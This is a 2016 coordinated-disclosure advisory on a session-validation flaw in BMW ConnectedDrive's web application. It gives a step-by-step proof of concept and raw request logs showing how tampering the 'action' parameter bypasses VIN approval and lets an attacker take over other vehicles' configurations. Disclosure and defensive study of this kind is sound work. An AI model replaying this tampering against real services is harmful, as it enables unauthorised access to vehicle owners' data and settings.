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BMW ConnectedDrive - (Update) VIN Session Vulnerability

Document Title:
===============
BMW ConnectedDrive - (Update) VIN Session Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1736


Release Date:
=============
2016-07-07


Vulnerability Laboratory ID (VL-ID):
====================================
1736


Common Vulnerability Scoring System:
====================================
6


Product & Service Introduction:
===============================
Free to do what you really want. With the services & apps from BMW 
ConnectedDrive, which connect you to everything that is 
important to you. More comfort, the BMW ConnectedDrive driver assistance 
systems - so you can concentrate on the essentials. 
You have the choice: tour guide, entertainer or guardian angels - who will 
accompany you on your ride, you decide.

(Copy of the Vendor Homepage: 
http://www.bmw.de/de/topics/faszination-bmw/connecteddrive/ubersicht.html )


Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a session validation and 
approval web vulnerability in the official BMW ConnectDrive web-application.


Vulnerability Disclosure Timeline:
==================================
2016-02-17: Researcher Notification & Coordination (Benjamin Kunz Mejri - 
Evolution Security GmbH)
2016-02-18: Vendor Notification (BMW Security Team)
2016-04-02: Vendor Response/Feedback (BMW Security Team)
2016-07-07: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================
A session validation approval web vulnerability has been discovered in the 
official BMW ConnectedDrive online service web-application.
The vulnerability allows remote attackers to manipulate specific configured 
parameters to compromise the affected web-application service.

VIN := vehicle Identification Number
A vehicle identification number, commonly abbreviated to VIN, or chassis 
number, is a unique code including a serial number, used by the 
automotive industry to identify individual motor vehicles, towed vehicles, 
motorcycles, scooters and mopeds as defined in ISO 3833.

The vulnerability is located in the session management of the VIN adding 
procedure. Remote attackers are able to bypass the secure validation 
approval of the VIN when processing to create it. Basically the validation does 
not allow to add a non exisiting number to the interface 
configuration to prevent different typ of errors or issues. In case of the 
adding procedure the request approve via action - add the context.
Remote attackers are able to change with a live session tamper the action 
information to create or update. Thus allows an attacker to bypass 
the invalid VIN exception to add a new configuration finally. Thus interaction 
results in the takeover of other vehicle identification numbers 
to view or manipulate the configuration.

The security risk of the session validation vulnerability is estimated as high 
with a cvss (common vulnerability scoring system) count of 6.0. 
Exploitation of the session validation web vulnerability requires a low 
privileged web-application user account and no user interaction. 
Successful exploitation of the vulnerability results in a compromise of 
registered or valid vehicle identification numbers via connecteddrive.

Request Method(s):
                                [+] POST/GET

Vulnerable Parameter(s):
                                [+] action

Affected Module(s):
                                [+] VIN - Konfiguration to Add/remove Vehicle


Proof of Concept (PoC):
=======================
The session validation web vulnerability can be exploited by remote attackers 
without user interaction and with low privileged web-application user account.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.

Manual steps to reproduce the vulnerability ...
1. Open the web-application of bmw connecteddrive 
(https://www.bmw-connecteddrive.co.uk/cdp/) and login
2. Surf to the My Settings module of the service
3. Start the session tamper and include a new random VIN
4. Save the requesst and manipulate in the session tamper the add value to 
create
5. Continue to process the GET request after it
6. Now, the module opens and the restriction with the vehicle Identification 
Number approval is bypassed
7. Now you can add your own VIN to the interface to create another car with the 
same VIN
8. Successful reproduce of the web-application vulnerability that affects the 
bmw car connecteddrive!


--- PoC Session Logs [GET] ---
Status: 200[OK]
GET 
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicle?vin= 
Load Flags[LOAD_NORMAL] 
Größe des Inhalts[162022] Mime Type[image/png]
   Request Header:
      Host[www.bmw-connecteddrive.co.uk]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 
Firefox/44.0]
      Accept[image/png,image/*;q=0.8,*/*;q=0.5]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      
Referer[https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd]
      Cookie[locale=en_GB; CookieDisclaimer=true; 
JSESSIONID=41144e45b60522b8dd926dc6a46f.1]
      Connection[keep-alive]
   Response Header:
      Date[Thu, 18 Feb 2016 11:10:23 GMT]
      Expires[Thu, 18 Feb 2016 11:11:23 GMT]
      Cache-Control[PUBLIC, max-age=60]
      Content-Type[image/png]
      Content-Length[162022]
      Set-Cookie[locale=en_GB; Expires=Fri, 17-Feb-2017 11:10:23 GMT
JSESSIONID=41144e45b60522b8dd926dc6a46f.1; Path=/cdp/release/internet; Secure; 
HttpOnly]
      Keep-Alive[timeout=5, max=98]
      Connection[Keep-Alive]
-
12:10:34.756[347ms][total 464ms] Status: 200[OK]
POST 
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd 
Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] 
Größe des Inhalts[-1] Mime Type[text/html]
   Request Header:
      Host[www.bmw-connecteddrive.co.uk]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:44.0) Gecko/20100101 
Firefox/44.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate, br]
      
Referer[https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicleAdd]
      Cookie[locale=en_GB; CookieDisclaimer=true; 
JSESSIONID=41144e45b60522b8dd926dc6a46f.1]
      Connection[keep-alive]
   POST-Daten:
      action[create]
      vin[]
      licenseplate[1337+%3B%29]
      activMethod[agreement]
      agb[View]
   Response Header:
      Date[Thu, 18 Feb 2016 11:10:40 GMT]
      Content-Type[text/html;charset=UTF-8]
      Set-Cookie[locale=en_GB; Expires=Fri, 17-Feb-2017 11:10:40 GMT
JSESSIONID=41144e45b60522b8dd926dc6a46f.1; Path=/cdp/release/internet; Secure; 
HttpOnly]
      Keep-Alive[timeout=5, max=100]
      Connection[Keep-Alive]
      Transfer-Encoding[chunked]


Reference(s):
https://www.bmw-connecteddrive.co.uk/
https://www.bmw-connecteddrive.co.uk/cdp/
https://www.bmw-connecteddrive.co.uk/cdp/release/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/
https://www.bmw-connecteddrive.co.uk/cdp/release/internet/servlet/vehicle?vin=


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure approval of the action 
create/update/add request in the `/cdp/release/internet/servlet/vehicleAdd` 
module.
Setup a secure session validation that approves the request to deny 
unauthorized activities with invalid, compromised or manipulated vehicle 
identification numbers.


Security Risk:
==============
The security risk of the session validation and approval web vulnerability in 
the bmw connectdrive web-application is estimated as high. (CVSS 6.0)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri 
(research@xxxxxxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


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=========================
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